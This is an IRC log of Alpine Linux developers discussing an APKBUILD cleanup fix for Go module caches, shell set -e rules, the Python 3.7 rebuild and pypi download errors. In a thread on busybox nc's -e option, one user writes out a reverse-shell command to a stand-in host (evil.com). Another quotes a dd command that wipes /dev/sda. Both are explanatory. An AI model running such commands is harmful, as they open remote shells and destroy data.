2019-04-16 20:11:04 <otlabs> overwise chmod fails
2019-04-16 20:11:41 <_ikke_> https://git.alpinelinux.org/aports/tree/testing/redo/APKBUILD#n34
2019-04-16 20:12:15 <otlabs> thanks
2019-04-16 20:13:47 <tcely> cleanup_srcdir() { go clean -modcache; [ ! -e "$srcdir" ] || chmod -Rc u+w "$srcdir"; default_cleanup_srcdir; }
2019-04-16 20:14:11 <otlabs> || or && ?
2019-04-16 20:14:20 <tcely> When does "$srcdir" not get created?
2019-04-16 20:14:30 <_ikke_> tcely: when abuild just runs, it does a clean
2019-04-16 20:14:31 <otlabs> on initial run
2019-04-16 20:14:40 <tcely> Ah
2019-04-16 20:14:46 <_ikke_> tcely: why the double negative
2019-04-16 20:15:11 <tcely> Which double negative?
2019-04-16 20:15:20 <_ikke_> ! -e and ||
2019-04-16 20:15:34 <tcely> It doesn't exist or chmod it
2019-04-16 20:15:40 <_ikke_> [ -e "$srcdir" ]] && chmod
2019-04-16 20:15:45 <tcely> Why do you call -e a negative
2019-04-16 20:15:54 <_ikke_> I call ! -e a negative
2019-04-16 20:15:58 <tcely> What happens when that first command fails under -u
2019-04-16 20:16:06 <danieli> -e is true if the target exists
2019-04-16 20:16:10 <tcely> Sure, but that's a single negative
2019-04-16 20:16:14 <danieli> can be anything, file, pipe, dir
2019-04-16 20:17:18 <tcely> _ikke_: The explanation is that your version needs something like this: [ -e "$srcdir" ] && chmod -Rc u+w "$srcdir" || :
2019-04-16 20:17:48 <tcely> Otherwise, the test failure is a simple failure under set -u and the script stops
2019-04-16 20:17:59 <tcely> Otherwise, the test failure is a simple failure under set -e and the script stops
2019-04-16 20:18:04 <tcely> Sorry, wrong flag
2019-04-16 20:18:33 <tcely> I've been typing a lot of /bin/sh -eux lately debugging abuild
2019-04-16 20:19:34 <_ikke_> http://tpaste.us/jXRo
2019-04-16 20:20:04 <_ikke_> sorry, this one is better; https://tpaste.us/DLjz
2019-04-16 20:22:08 <tcely> yeah, that first one evaluates true ;-)
2019-04-16 20:22:27 <_ikke_> indeed
2019-04-16 20:25:55 <otlabs> "All checks have passed", thank you all!
2019-04-16 20:27:06 <_ikke_> tcely: " The −e setting shall be ignored when executing the compound list following the while, until, if, or elif reserved word, a pipeline beginning with the ! reserved word, or any command of an AND-OR list other than the last."
2019-04-16 20:28:12 <tcely> _ikke_: [ ! -e "$srcdir" ] || chmod -Rc u+w "$srcdir"
2019-04-16 20:28:24 <tcely> [ -e "$srcdir" ] && chmod -Rc u+w "$srcdir"
2019-04-16 20:28:38 <_ikke_> yes, that last one is more readable in my opinion
2019-04-16 20:28:51 <tcely> Tell me why that statement says the and version won't cause problems with set -e
2019-04-16 20:29:20 <_ikke_> "or any command of an AND-OR list other then the last"
2019-04-16 20:30:38 <tcely> The last always referring to chmod in this example?
2019-04-16 20:30:39 <_ikke_> [ -e "$srcdir" ] is not the last command in an AND-OR list, so the exit code is ignored for the purpose of set -e
2019-04-16 20:30:43 <_ikke_> tcely: indeed
2019-04-16 20:30:59 <tcely> Where did you pull the quote from?
2019-04-16 20:31:09 <_ikke_> man set
2019-04-16 20:32:20 <_ikke_> on archlinux, that is
2019-04-16 20:32:31 <_ikke_> POXIX programmers manual
2019-04-16 20:32:46 <_ikke_> s/POX/POS
2019-04-16 20:32:46 <alpine-meetbot> _ikke_ meant to say: POSIX programmers manual
2019-04-16 20:33:09 <_ikke_> http://man7.org/linux/man-pages/man1/set.1p.html#STDIN
2019-04-16 20:34:45 <SpaceToast> I have this bookmarked: http://pubs.opengroup.org/onlinepubs/9699919799/
2019-04-16 20:34:48 <SpaceToast> might be useful to some :)
2019-04-16 20:35:07 <SpaceToast> it's not the latest anymore (there was a 2018 edition), but nothing changed in sections 1 or 7 iirc
2019-04-16 20:35:08 <_ikke_> SpaceToast: thanks, didn't know that
2019-04-16 20:35:23 <SpaceToast> I used to do a lot of strict POSIX compatibility
2019-04-16 20:35:27 <_ikke_> I've heard the IEEE standard, but never looked it up
2019-04-16 20:35:30 <SpaceToast> the de-facto spec can be a lifesaver sometimes
2019-04-16 20:35:41 <tcely> TIL https://stackoverflow.com/a/47625345
2019-04-16 20:36:12 <tcely> SpaceToast: Thanks
2019-04-16 20:40:37 <tcely> http://pubs.opengroup.org/onlinepubs/9699919799/utilities/V3_chap02.html#set
2019-04-16 20:44:35 <otlabs> may i ask which solution should i use? do you have a consensus?
2019-04-16 20:45:27 <SpaceToast> otlabs: I'm pretty sure I gave you a solution
2019-04-16 20:45:40 <SpaceToast> not certain why you're complaining about "chmod" failing, when you're not supposed to be calling it
2019-04-16 20:45:51 <_ikke_> SpaceToast: this was about [ -e "$srcdir" ] && vs [ ! -e "$srcdir"] ||
2019-04-16 20:46:00 <otlabs> _ikke_: yes
2019-04-16 20:46:04 <SpaceToast> but... why do you need to do that?
2019-04-16 20:46:58 <_ikke_> SpaceToast: probably a belts and suspenders kind of solution
2019-04-16 20:47:28 <SpaceToast> yes, thus my question - why not use the proper solution that doesn't involve the suspenders? :)
2019-04-16 20:48:31 <otlabs> i am a bit (really not a bit but totally) lost right now what we talking about, sorry
2019-04-16 20:48:58 <SpaceToast> otlabs: your problem was that go's module system leaves readonly files
2019-04-16 20:49:08 <otlabs> yes
2019-04-16 20:49:10 <SpaceToast> the proper solution to that is to override cleanup_srcdir and call go clean -modcache in that
2019-04-16 20:49:18 <otlabs> yes
2019-04-16 20:49:21 <SpaceToast> then you come back and complain that chmod is failing and you need to detect $srcdir
2019-04-16 20:49:29 <otlabs> i still unsure what to use next
2019-04-16 20:49:30 <SpaceToast> why are you calling chmod, and why do you need to detect if $srcdir exists?
2019-04-16 20:49:34 <otlabs> [ -e "$srcdir" ] &&
2019-04-16 20:49:36 <otlabs> or
2019-04-16 20:49:38 <_ikke_> SpaceToast: tcely came with that solution
2019-04-16 20:49:39 <SpaceToast> again, why do you need to do that?
2019-04-16 20:49:43 <otlabs> [ ! -e "$srcdir"] ||
2019-04-16 20:49:46 <SpaceToast> _ikke_: sure, but where is the problem coming from?
2019-04-16 20:49:54 <SpaceToast> this is not something you run into if you do what was suggested to begin with
2019-04-16 20:50:13 <SpaceToast> so I'm trying to find the root problem, rather than propose hacky solutions :)
2019-04-16 20:50:36 <otlabs> SpaceToast: abuild runs a cleanup on startuo
2019-04-16 20:50:42 <SpaceToast> yes?
2019-04-16 20:50:42 <otlabs> startup
2019-04-16 20:50:43 <_ikke_> "tcely │ So use the nice new function, and get a report of anything go clean missed. ;-)"
2019-04-16 20:50:57 <SpaceToast> again, why do you have chmod in cleanup?
2019-04-16 20:51:05 <SpaceToast> `go clean -modcache` -> does not ever call chmod(1)
2019-04-16 20:51:21 <otlabs> SpaceToast: abuild builds the package, but unable to cleanup after that due to file permissions
2019-04-16 20:51:30 <SpaceToast> to which you have a solution
2019-04-16 20:51:32 <SpaceToast> that does not involve chmod
2019-04-16 20:51:46 <SpaceToast> if you are using said solution, you should not be having a problem with chmod failing
2019-04-16 20:51:47 <otlabs> SpaceToast: so the cleanup is run twice during normal abuild process
2019-04-16 20:51:51 <SpaceToast> yes, that's fine
2019-04-16 20:51:54 <SpaceToast> and?
2019-04-16 20:51:54 <tcely> cleanup_srcdir() { go clean -modcache; [ -e "$srcdir" ] && chmod -Rc u+w "$srcdir"; default_cleanup_srcdir; }
2019-04-16 20:51:54 <tcely> ^^ A solution that reports any file that did not include write permission for the owner
2019-04-16 20:51:59 <_ikke_> otlabs: SpaceToast is saying that the go clean command ought to be enough
2019-04-16 20:52:04 <SpaceToast> tcely: but *why* would you do that?
2019-04-16 20:52:10 <SpaceToast> what is the purpose?
2019-04-16 20:52:25 <tcely> To report any file that does not have write permission for the owner
2019-04-16 20:52:32 <SpaceToast> 1. no reporting is done
2019-04-16 20:52:32 <tcely> go isn't the only possible way for that to happen
2019-04-16 20:52:35 <SpaceToast> this will silently clean it up
2019-04-16 20:52:40 <SpaceToast> 2. the issue at hand *IS* go
2019-04-16 20:52:43 <tcely> chmod -c reports changes
2019-04-16 20:52:46 <SpaceToast> there is no reason to go over everything
2019-04-16 20:52:47 <otlabs> _ikke_: thank you , i am completely missed right now
2019-04-16 20:53:08 <SpaceToast> solve the problems you have, don't solve problems you assume may potentially exist if everything fails
2019-04-16 20:53:18 <_ikke_> otlabs: so just go for 'go clean -modcache'
2019-04-16 20:53:27 <otlabs> _ikke_: thank you!
2019-04-16 20:53:50 <_ikke_> (and default_cleanup_srcdir ofcourse)
2019-04-16 20:54:10 <otlabs> i have no idea what "go clean -modcache" does
2019-04-16 20:54:22 <_ikke_> otlabs: it lets go clean up its own mess :)
2019-04-16 20:54:24 <tcely> ^^ heh. like a lot of go tools
2019-04-16 20:54:27 <otlabs> so if it cleans smoothly i agree i do not need any chmod magic
2019-04-16 20:54:30 <SpaceToast> it cleans the module cache
2019-04-16 20:54:37 <SpaceToast> aka the thing that's readonly
2019-04-16 20:54:51 <otlabs> thank you!
2019-04-16 20:54:54 <otlabs> i got the point
2019-04-16 20:55:01 <otlabs> will test it right now
2019-04-16 20:57:06 <otlabs> yes, it worked out just fine! thanks a lot!
2019-04-16 20:57:23 <SpaceToast> amazing, the thing meant to solve the issue solved the issue ;)
2019-04-16 20:57:33 <tcely> ;-)
2019-04-16 20:57:42 <SpaceToast> and you didn't even need to make sure $srcdir exists!
2019-04-16 21:02:11 <tcely> cleanup_srcdir() { which go && go clean -modcache; [ -d "$srcdir" ] && chmod -Rc u+w "$srcdir"; default_cleanup_srcdir; }
2019-04-16 21:02:18 <SpaceToast> tcely: stop
2019-04-16 21:02:20 <SpaceToast> it hurts.
2019-04-16 21:02:21 <tcely> Now I don't need to care if go is installed either. ;-)
2019-04-16 21:05:50 <tcely> otlabs: You won't need to end lines with semi-colon, they are used for multiple commands on the same line.
2019-04-16 21:08:20 <tcely> "Bash completion for package go-ipfs" < I'm not sure that reads better
2019-04-16 22:31:53 <otlabs> tcely: :-)
2019-04-16 22:33:16 <otlabs> tcely: you are confusing me a lot with your last edition of cleanup_srcdir() ! :-)
2019-04-16 22:34:14 <otlabs> tcely: changed back to "Bash completion for go-ipfs"
2019-04-16 22:35:38 <SpaceToast> otlabs: he was making a joke to torture my poor brain
2019-04-16 22:35:43 <SpaceToast> please don't actually do that
2019-04-16 22:36:12 <otlabs> yours? oh, my! i thought he was pursing me :-)
2019-04-16 22:36:20 <otlabs> i will not
2019-04-16 23:16:52 <otlabs> time to go. thank you for all your kind help and jokes :-)
2019-04-17 02:24:28 <ddevault> is anything blocking a new rust version in aports?
2019-04-17 02:26:21 <SpaceToast> the maintainer, as far as I'm aware
2019-04-17 02:26:42 <SpaceToast> if you wanna get it updated, please do - I've already at least one package that requires 34 as the min version now :/
2019-04-17 02:27:24 <ddevault> I can't compile it on my alpine dev box :<
2019-04-17 02:27:47 <SpaceToast> the thing with rust is like most languages that implement themselves, you have to bootstrap it somehow
2019-04-17 02:27:51 <SpaceToast> for go we have go-bootstrap
2019-04-17 02:28:00 <SpaceToast> but it doesn't look like we have something of the sort for rust, at least that I've seen
2019-04-17 02:45:28 <clandmeter> Go bootstrap is also arch limited
2019-04-17 02:45:46 <danieli> good morning clandmeter
2019-04-17 02:46:01 <ddevault> looks like we have to go one major version at a time?
2019-04-17 02:46:07 <ddevault> giving it a shot
2019-04-17 02:46:48 <clandmeter> Morning
2019-04-17 02:47:02 <clandmeter> danieli: up late again
2019-04-17 02:47:18 <danieli> clandmeter: indeed
2019-04-17 02:47:57 <danieli> need to fix that soon, i have a few meetings later this week
2019-04-17 03:31:42 <ddevault> looks like I'll be linking for the next 3 years or so
2019-04-17 03:45:33 <ddevault> it failed :(
2019-04-17 06:23:38 <fcolista> libcdio and libcdio-paranoia needs to be upgraded but they break api
2019-04-17 06:23:43 <fcolista> *abi
2019-04-17 06:23:52 <fcolista> should we wait for 3.10 first?
2019-04-17 07:03:52 <ncopa> fcolista: i dont think there are too many dependencies so its probably good to upgrade and rebuild before the release
2019-04-17 07:25:56 <ncopa> i have a problem with py-markdown and py-pygfm
2019-04-17 07:26:23 <ncopa> apparently py-markdown 3 brok API
2019-04-17 07:26:49 <ncopa> the way pygfm "fixed" it was to pin py-markdown to version 2
2019-04-17 07:27:27 <_ikke_> in aports, or upstream?
2019-04-17 07:27:33 <ncopa> upstream
2019-04-17 07:27:46 <ncopa> https://github.com/Zopieux/py-gfm/commit/cd3a2eef17c7ae6cfb9eae269621e534368c726a
2019-04-17 07:28:12 <ncopa> _ikke_: do we use the netbox apk package or install it via pip in a container?
2019-04-17 07:28:44 <_ikke_> ncopa: We cloned the netbox repo
2019-04-17 07:28:55 <_ikke_> so we don't rely on apk
2019-04-17 07:28:59 <ncopa> ok
2019-04-17 07:29:59 <ncopa> i wonder if we should remove the testing/netbox package
2019-04-17 07:30:07 <ncopa> and py-pygfm
2019-04-17 07:38:24 <_ikke_> Maybe these packages should have the dependencies vendored in?
2019-04-17 08:54:48 <tmhoang> _ikke_ : I just want to let if you (because you asked me last time iirc, if not ignore this :D) want to run Alpine on s390x, you could run qemu emulation (tcg mode) on x86_64 easily.
2019-04-17 08:55:02 <tmhoang> and it's pretty fast
2019-04-17 08:55:38 <tmhoang> same with ppc64le
2019-04-17 08:55:59 <tmhoang> in fact I run an Alpine ppc64le box on my laptop
2019-04-17 09:07:08 <_ikke_> tmhoang: It was someone else who needed that
2019-04-17 09:07:20 <_ikke_> forgot who
2019-04-17 09:07:56 <tmhoang> I should put a sticker on my head for it :P
2019-04-17 11:09:59 <nmeum> ncopa: just went through old PRs opened by myself and noticed that https://github.com/alpinelinux/lua-aports/pull/2 hasn't been merged yet. unless you have any objections I would simply push it myself soonish
2019-04-17 11:25:16 <ncopa> nmeum: i think it needs to be rebased
2019-04-17 11:41:41 <ncopa> almost everything is now rebuilt with python 3.7
2019-04-17 11:42:04 <ncopa> there are 4-5 packages that may need some work in testing repo
2019-04-17 11:42:15 <ncopa> but i think maybe just push python 3.7 now
2019-04-17 11:44:30 <nmeum> ncopa: indeed, rebased it
2019-04-17 11:47:28 <ncopa> ok, i  think i wil push python 3.7
2019-04-17 11:53:14 <nmeum> \o/
2019-04-17 12:06:31 <mps> someone spams #alpine-commits :)
2019-04-17 12:09:18 <_ikke_> haha :D
2019-04-17 12:09:24 <_ikke_> I'll ban that user ;-)
2019-04-17 12:15:10 <artok> yee I've been waiting for p3.7 !
2019-04-17 12:23:51 <ncopa> hum... something broke
2019-04-17 12:24:48 <ncopa> looks like there is a circular dep
2019-04-17 12:29:14 <_ikke_> pytest and py-six depend on each-other
2019-04-17 13:06:52 <ncopa> I guess we need to disable tests for one of them
2019-04-17 14:24:21 <fcolista> aynone knows what is triggered by git commit?
2019-04-17 14:24:41 <_ikke_> you mean what hooks?
2019-04-17 14:24:44 <fcolista> For some reason, in my build env i've started to have this:
2019-04-17 14:24:44 <fcolista> x86_64-edge:~/aports$ git commit
2019-04-17 14:24:44 <fcolista> Can't find node in PATH, trying to find a node binary on your system
2019-04-17 14:24:44 <fcolista> env: can't execute 'bash': No such file or directory
2019-04-17 14:24:56 <fcolista> I tried to strace git commit: https://dpaste.de/iLru
2019-04-17 14:25:03 <_ikke_> .git/hooks/*-commit
2019-04-17 14:25:06 <fcolista> I've no node or bash set anywheren in my home
2019-04-17 14:25:25 <fcolista> _ikke_, thanks!
2019-04-17 14:25:33 <ptu> hey guys
2019-04-17 14:26:00 <ptu> i just installed a fresh alpine vm 3.9.3
2019-04-17 14:26:19 <ptu> and i noticed busybox nc has -e enabled
2019-04-17 14:27:11 <ptu> according to the busybox git the corresponding option is "config CONFIG_NC_GAPING_SECURITY_HOLE"
2019-04-17 14:28:13 <ptu> couldnt find it in the aport though, but since I'm a sec dude and not a dev/maintainer I thought I should bring this to your attention
2019-04-17 14:42:52 <ptu> ok, the gaping security hole is an old config param. -e is now part of config NC_EXTRA
2019-04-17 14:46:14 <SpaceToast> I don't know the de-facto history of it, but -e is --exec, and allowing remote connections to execute a command is pretty shaky grounds :)
2019-04-17 14:49:03 <mps> what if run 'nc -e' in secure environment and I know what I'm doing?
2019-04-17 14:50:34 <ptu> I may have overshot, most implementations have -e enabled. But I remember back in the time it was disabled in busybox nc at least, hence the GAPING config param
2019-04-17 14:51:24 <ptu> but the other implementations ship with -e as well, although those are not installed per default
2019-04-17 14:54:57 <ptu> if you rely on nc theres netcat-openbsd as well as nmap-ncat
2019-04-17 14:55:01 <mps> 'nc -e' is useful option for quick testing some things
2019-04-17 14:56:31 <mps> I know for both of them, I'm speaking about crippling useful tools by some strange sense of security
2019-04-17 14:56:51 <ptu> as i said, i might have overreacted ;) solely because it was considered an issue before
2019-04-17 14:58:13 <mps> np, but there are ideas that 'dd' and similar tools should not be installed because they could do 'insecure' or unintended 'task'
2019-04-17 14:58:58 <mps> 'dd if=/dev/zero of=/dev/sda' could be useful, and sometimes it is
2019-04-17 14:59:26 <mps> also, could make disaster if used for wrongdoing
2019-04-17 15:00:38 <ptu> if you have write permission to /dev/sda that is
2019-04-17 15:02:27 <SpaceToast> mps: I suspect their implementation had some exploit before
2019-04-17 15:02:38 <SpaceToast> which is kind of to be expected, any sort of remote code execution is hard to get right :)
2019-04-17 15:03:32 <mps> SpaceToast: could be, and then this is something different than for some people useful CLI switch, imo
2019-04-17 15:04:35 <mps> unexpected behavior deserves serious care
2019-04-17 15:04:45 <ptu> its more like nc -e /bin/sh evil.com 9000 is the first thing an attacker tries to get a connect back shell or something
2019-04-17 15:05:03 <ptu> not that it had some vulnerabilities, at least not that i know of
2019-04-17 15:06:04 <ptu> and in the past it was disabled in busybox, now its in by default. I'm not saying its wrong, i just jumped the fence without proper investigation
2019-04-17 15:07:19 <mps> you can see that most secure distributions have nc with -e enabled
2019-04-17 15:08:01 <mps> mainstream secure distributions, I mean
2019-04-17 15:08:29 <ptu> is it installed by default? or do you have to install nc
2019-04-17 15:08:46 <ptu> honest question
2019-04-17 15:08:58 <mps> I agree with you that it could be risky, but this depends on more other factors
2019-04-17 15:10:01 <mps> Bbx applet is installed by default busybox package
2019-04-17 15:10:37 <mps> and busybox is essential in Alpine
2019-04-17 15:11:23 <mps> should it (nc applet) be built by default I don't know, to be honest
2019-04-17 15:12:00 <mps> and if it have security hole/exploit or whatever then it should be patched or disabled, imo
2019-04-17 15:15:09 <SpaceToast> ptu: yes, nc is installed by default as a part of busybox
2019-04-17 15:15:18 <SpaceToast> we do separate some applets out into busybox-extras
2019-04-17 15:16:21 <ptu> its not a exploit or hole per se. more used in post exploitation i would say
2019-04-17 15:16:54 <ptu> you would have to have remote command execution anyways in order to "benefit" from nc being installed
2019-04-17 15:17:43 <mps> closing doors when the horses are already out :) sorry for joking
2019-04-17 15:18:13 <SpaceToast> well you're the one worrying about it ^^
2019-04-17 15:18:28 <SpaceToast> similarly, fish can be exploited (because it automatically updates running shells' configurations)
2019-04-17 15:18:31 <mps> Alpine have separate netcat-openbsd package also
2019-04-17 15:18:33 <SpaceToast> but no one's calling for a ban on it
2019-04-17 15:19:27 <danieli> ptu: CEH calls netcat a trojan
2019-04-17 15:19:48 <danieli> oh nevermind, it's something else, I'll pass it to you on discord
2019-04-17 15:22:18 <mps> some calls linux trojan, some calls windows trojan :)
2019-04-17 15:26:57 <ptu> all I'm saying was that alpine ships with a configuration that was considered a security issue years ago
2019-04-17 15:27:09 <ptu> i leave you to it what to do with the information
2019-04-17 15:27:16 <ptu> need to get some work done >.<
2019-04-17 15:29:42 <mps> ptu: I didn't want to offend you in any way
2019-04-17 15:30:43 <mps> and I'm thankful that you tell us about possible issue (bug, exploit) to have on our 'security' radar
2019-04-17 15:30:43 <ptu> no offense taken, all good
2019-04-17 15:31:40 <mps> personally, I really appreciate your opinions and reasoning, it is very good and in best tone
2019-04-17 15:33:00 <mps> maybe may language is not fine, I'm not native speaker and I'm self taught in English, so sorry if I wrote something inappropriate
2019-04-17 15:33:53 <mps> and, as you security person, I would welcome all your comments, ideas, notes or whatever
2019-04-17 15:35:42 <SpaceToast> I think it's not really an issue nowadays :)
2019-04-17 15:35:47 <SpaceToast> and that the issue used to mainly be with busybox
2019-04-17 15:35:59 <SpaceToast> (for instance, ifupdown has a memory leak; I still have to send them the patch to fix it...)
2019-04-17 15:37:14 <ptu> you have my attention
2019-04-17 15:37:46 <ptu> memleaks are no joke
2019-04-17 15:37:59 <ptu> -> hearthbleed
2019-04-17 15:38:51 <SpaceToast> it's not a significant one, but still one I'd like to fix
2019-04-17 15:39:01 <SpaceToast> it's in ifup/ifdown processing (so a short-lived command)
2019-04-17 15:39:08 <SpaceToast> let me see if I can find my patch...
2019-04-17 15:39:42 <SpaceToast> https://brpaste.xyz/nxcDLQ?diff
2019-04-17 15:39:45 <ptu> but in order to leak the memory you would have to have admin rights before, so its not that significant
2019-04-17 15:39:48 <SpaceToast> very minor, as you see :)
2019-04-17 15:39:59 <SpaceToast> but it does accumulate with `-a`
2019-04-17 15:40:08 <SpaceToast> so on some weird systems with ~500+ interfaces managed by ifupdown it could be significant
2019-04-17 15:40:34 <ptu> cough cough cloud
2019-04-17 15:41:18 <ptu> busybox as well?
2019-04-17 15:42:29 <SpaceToast> oh, I meant "busybox ifupdown"
2019-04-17 15:42:43 <SpaceToast> sorry, I forget the debian one exists sometimes, because of how horribly broken it is :)
2019-04-17 15:42:47 <bratkartoffel> Is there any particular reason why some py packages are missing for armv7?
2019-04-17 15:43:08 <bratkartoffel> Although with arch="all" in APKBUILD?
2019-04-17 15:43:18 <SpaceToast> bratkartoffel: they might be in the process of being built
2019-04-17 15:43:18 <artok> on release?
2019-04-17 15:43:21 <_ikke_> bratkartoffel: dependencies?
2019-04-17 15:43:35 <_ikke_> if the dependencies are not available, the depending packages won't be either
2019-04-17 15:43:37 <SpaceToast> ptu: but yeah, busybox don't have the most stellar of coding practices
2019-04-17 15:43:46 <SpaceToast> but they're the most "complete" out there, so :/
2019-04-17 15:43:53 <SpaceToast> (e.g toybox is much smaller in scope)
2019-04-17 15:44:00 <ptu> they ve been around a while
2019-04-17 15:44:01 <SpaceToast> (sbase/ubase are... weird, like most things suckless)
2019-04-17 15:44:25 <SpaceToast> I'm quite interested in uutils though
2019-04-17 15:44:29 <ptu> and with all the IoT stuff going on out there
2019-04-17 15:44:31 <SpaceToast> but they're not quite finished :)
2019-04-17 15:45:02 <bratkartoffel> _ikke_: This means some py aports are some kind of broken now?
2019-04-17 15:45:12 <bratkartoffel> e.g. https://pkgs.alpinelinux.org/packages?name=py3-cryptography&branch=edge
2019-04-17 15:46:18 <bratkartoffel> Or, with other words, should I add a "!armv7" for a new aport if a dependency is not available for armv7?
2019-04-17 15:46:18 <SpaceToast> bratkartoffel: armv7-edge is currently building py-scipy and py3-dialog
2019-04-17 15:46:23 <SpaceToast> so I'd imagine they're currently being built.
2019-04-17 15:46:38 <SpaceToast> if you check the 3.9 release, you'll notice the package is right there
2019-04-17 15:46:56 <SpaceToast> tl;dr if you have high stability requirements, don't use edge :)
2019-04-17 15:47:14 <bratkartoffel> i'm just wondering why my PR fails, that's it
2019-04-17 15:47:35 <bratkartoffel> thanks SpaceToast, I'll just ignore this and wait some time for the builders to finish
2019-04-17 15:47:42 <SpaceToast> yup :)
2019-04-17 15:47:46 <SpaceToast> for future reference: https://build.alpinelinux.org/
2019-04-17 15:47:52 <SpaceToast> you can see if stuff's building at a given moment
2019-04-17 15:47:59 <SpaceToast> (and if there are any failures)
2019-04-17 15:50:07 <_ikke_> bratkartoffel: which PR is not building?
2019-04-17 15:50:36 <_ikke_> And ncopa just pushed the python3.7 upgrade
2019-04-17 15:53:20 <artok> pillow failures =/
2019-04-17 15:53:56 <SpaceToast> ++ on 3.7
2019-04-17 15:55:12 <ncopa> i pushed like 400-500 commits
2019-04-17 15:55:30 <artok> btw I would add openjpeg-dev to the pillow makedepends..
2019-04-17 15:55:31 <ncopa> i wonder why python3 build hangs on ppc64le and s390x
2019-04-17 16:57:02 <mps> clandmeter: could you trigger snapshot build for community/crystal to upload static version tarball to dev.a.o
2019-04-17 16:59:03 <mps> I need it to try build new version of crystal (0.28.0) which is released
2019-04-17 19:46:24 <tcely> mps: for nc -e, would disabling -e for busybox be acceptable if nc from another package has that -e argument available
2019-04-17 19:50:03 <ptu> if i read it correctly theres only the option to disable -e together with -i -w and -f https://git.busybox.net/busybox/tree/networking/nc.c
2019-04-17 19:50:14 <ptu> apart from patching of course
2019-04-17 19:54:10 <ncopa> i have no clue why gpsd test suite fails now
2019-04-17 19:58:59 <ncopa> lots of python related failures
2019-04-17 19:59:14 <ncopa> i guess those are a priority now
2019-04-17 19:59:21 <ncopa> i will conitnue tomorrow
2019-04-17 20:08:45 <tcely> ncopa: pr6852 has a few remaining rebuilds. Is this a good time to start those?
2019-04-18 06:07:26 <ncopa> tcely: why would those need to be rebuilt?
2019-04-18 06:24:58 <ncopa> I think only "main/boost: use case for _options_carch" is needed, which fixes a bug, but commit message does not say that, and it fixes a non-problem at the same time. so the real fix is hidden
2019-04-18 06:45:54 <HRio> thisuser is spamming issues https://bugs.alpinelinux.org/users/9656
2019-04-18 06:49:26 <ncopa> _ikke_: ^^^
2019-04-18 07:11:52 <_ikke_> sigh
2019-04-18 07:15:05 <_ikke_> gone
2019-04-18 07:45:12 <HRio> _ikke_: thanks
2019-04-18 08:12:05 <ncopa> seems like py-tox is broken
2019-04-18 08:12:59 <ncopa> https://build.alpinelinux.org/buildlogs/build-edge-x86/community/pytest-forked/pytest-forked-1.0.2-r1.log says that tox is missing filelock, but log shows that py3-filelock is installed
2019-04-18 08:29:33 <danieli> regarding that issue ^ ssl_client is from busybox isn't it?
2019-04-18 08:32:51 <mps> danieli: yes, I think
2019-04-18 08:33:27 <danieli> and re that same issue: cool, check point is using alpine
2019-04-18 08:35:03 <kmaxwell> I'm see a couple of PRs with drone CI errors 'fatal: refusing to merge unrelated histories
2019-04-18 08:36:02 <kmaxwell> anyone have ideas? one exmple is https://github.com/alpinelinux/aports/pull/7119
2019-04-18 08:36:51 <mps> why they want to remove ssl_client
2019-04-18 08:38:51 <danieli> they didn't tell, but they probably have their reasons
2019-04-18 08:39:12 <danieli> kmaxwell: iirc you can do a force push to fix it, but i forgot what causes that
2019-04-18 08:39:22 <danieli> someone talked about it a while ago
2019-04-18 08:40:28 <mps> busybox wget need ssl_client for ssl connections
2019-04-18 08:42:02 <kmaxwell> danieli: awesome! you're itws talked about and the reference is https://github.com/alpinelinux/aports/pull/6764
2019-04-18 09:09:02 <_ikke_> ncopa: you managed to already fix it?
2019-04-18 09:09:59 <ncopa> _ikke_: i think so yes
2019-04-18 09:32:08 <_ikke_> ncopa: alright
2019-04-18 09:51:26 <ncopa> seems like files.pythonhosted.org is broken
2019-04-18 09:51:44 <ncopa> or the redirect feature we are using is no longer working
2019-04-18 09:53:28 <tcely> ncopa: they are building against boost, so rebuilding with new headers / libs may cause issues we should sort out sooner rather than later
2019-04-18 09:55:26 <ncopa> we normally dont do that with other header/compiler changes
2019-04-18 09:55:52 <ncopa> just because we upgrade gcc we dont rebuidl everything the uses gcc during buildtime
2019-04-18 09:56:09 <ncopa> nor do we rebuild everything that uses linux-headers at compiletime when we upgrade linux-headers
2019-04-18 09:56:45 <ncopa> tcely: i suggest that you rebuild those locally, and report stuff that breaks
2019-04-18 10:06:08 <kmaxwell> ncope: what is broken about files.pythonhosted.org?
2019-04-18 10:06:33 <kmaxwell> ncopa: sorry mistyped ncopa ^^^^
2019-04-18 10:07:19 <ncopa> "https://pypi.io/packages/source/p/$_pkgname/$_pkgname-$pkgver.tar.gz"  restults in 504 error
2019-04-18 10:07:22 <kmaxwell> checking very quickly I couldn't see a problem: curl -sIL https://files.pythonhosted.org/packages/source/g/google-auth/google-auth-1.6.3.tar.gz | grep HTTP
2019-04-18 10:08:00 <kmaxwell> I haven't tried that other style with pypi.io
2019-04-18 10:08:47 <ncopa> https://build.alpinelinux.org/buildlogs/build-edge-x86/community/py-batinfo/py-batinfo-0.4.2-r2.log
2019-04-18 10:09:13 <ncopa> this seems broken too: https://files.pythonhosted.org/packages/source/s/sgmllib3k/sgmllib3k-1.0.0.tar.gz
2019-04-18 10:11:04 <kmaxwell> yes I am seeing those links as 504 as well
2019-04-18 10:11:40 <kmaxwell> https://status.python.org/ is unhelpfully all green
2019-04-18 10:14:44 <kmaxwell> it seems intermittent, as an example https://pypi.io/packages/source/f/flake8/flake8-3.7.7.tar.gz also gives 200 for me
2019-04-18 10:18:41 <ncopa> kmaxwell: can you help me report it? to https://github.com/pypa/warehouse/issues
2019-04-18 10:19:14 <ncopa> this is also broken: https://files.pythonhosted.org/packages/source/b/batinfo/batinfo-0.4.2.tar.gz
2019-04-18 10:19:40 <ncopa> seems like it is the files.pythonhosted.org redirects that are broken
2019-04-18 10:21:36 <ncopa> im gonna upload them manually meanwhile
2019-04-18 10:27:52 <kmaxwell> ncopa: this page in their docs is relevant https://warehouse.pypa.io/api-reference/integration-guide/
2019-04-18 10:28:52 <kmaxwell> the officially supported approach is to use a URL that is based on the file hash
2019-04-18 10:29:29 <kmaxwell> which you can query from the JSON API
2019-04-18 10:31:56 <ncopa> this seems like our issue: https://github.com/pypa/warehouse/issues/5579
2019-04-18 10:33:17 <kmaxwell> the bat URL has just come alive for me again, sgmllib3k is still 504
2019-04-18 10:33:28 <_ikke_> kmaxwell: right now we can just update the pkgver to get the newest version. When you use the hash based urls, you'd have to do the translation each time
2019-04-18 10:34:40 <kmaxwell> _ikke_: I agree what we do is simpler, just that it isn't following the official guidance in the linked integration guide
2019-04-18 10:35:06 <ncopa> i guess that the other distros has same issue. gentoo, freebsd etc
2019-04-18 10:35:47 <kmaxwell> sorry I am agreeing will everyone including _ikke_, while also checking just what following the guidance might look like
2019-04-18 10:36:12 <kmaxwell> I think a change is unlikely, but I would like to know a little bit more
